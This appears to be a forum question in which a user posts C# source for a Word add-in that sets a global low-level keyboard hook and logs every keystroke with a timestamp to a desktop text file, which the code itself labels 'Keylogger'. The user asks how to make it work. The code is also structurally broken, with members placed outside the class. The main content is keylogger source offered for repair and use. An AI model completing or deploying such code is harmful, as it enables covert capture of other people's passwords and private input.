using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;
namespace WORDproject
{
public partial class ThisAddIn
{
private static IntPtr hookId = IntPtr.Zero;
private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");
private LowLevelKeyboardProc keyboardProcess;
private static IntPtr ptrHook;
private EventHandler Shutdown;
public static string MyFile => myFile;
private event KeyEventHandler KeyUp;
private event KeyEventHandler KeyDown;
private void ThisAddIn_Startup(object sender, EventArgs e)
{
EnsureMyFilesExists(myFile);
KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);
Hook();
}
private void ThisAddIn_Shutdown(object sender, EventArgs e)
{
UnHook();
}
private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
}
}
public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
private class KeyHelper
{
public const int WM_KEYDOWN = 0x100;
public const int WM_KEYUP = 0x101;
public const int WM_SYSKEYDOWN = 0x104;
public const int WM_SYSKEYUP = 0x105;
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
public void Hook()
{
ProcessModule processModule = Process.GetCurrentProcess().MainModule;
keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);
if (ptrHook == IntPtr.Zero)
{
MessageBox.Show("Failed to install hook.");
}
}
public void UnHook()
{
UnhookWindowsHookEx(ptrHook);
}
private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);
KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);
if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
{
KeyDown(this, eventArgs);
}
else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) && KeyUp != null)
{
KeyUp(this, eventArgs);
}
LogKey((Keys)keyInfo.vkCode);
if (eventArgs.Handled)
return (IntPtr)1;
return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}
private void LogKey(Keys key)
{
try
{
using (StreamWriter sw = File.AppendText(myFile))
{
sw.WriteLine($"{DateTime.Now}: {key}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error logging key: {ex.Message}");
}
}
private static void EnsureMyFilesExists(string filePath)
{
try
{
if (!File.Exists(filePath))
{
using (StreamWriter sw = File.CreateText(filePath))
{
sw.WriteLine("Keylogger");
}
Process.Start("notepad.exe", filePath);
MessageBox.Show($"File created at {filePath}");
}
else
{
MessageBox.Show($"File already exists at {filePath}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error creating file: {ex.Message}");
}
}
private void InternalStartup()
{
ThisAddIn_Startup(null, null);
Shutdown += new EventHandler(ThisAddIn_Shutdown);
}
I tried to create a keyboard hook with C#. I started with this idea!
Create a file (Myfiles.txt) where the logs will be stored -> create a process for the hook -> check to see if the txt file exists -> store the keyloggers in the file.
The provided code doesn’t work. I want to make it work and start recording the keystrokes and take them to the log file Myfile.txt. Can you give me some ideas to make this code run? I think the problems might be in the
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
Jonathan Clark is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
2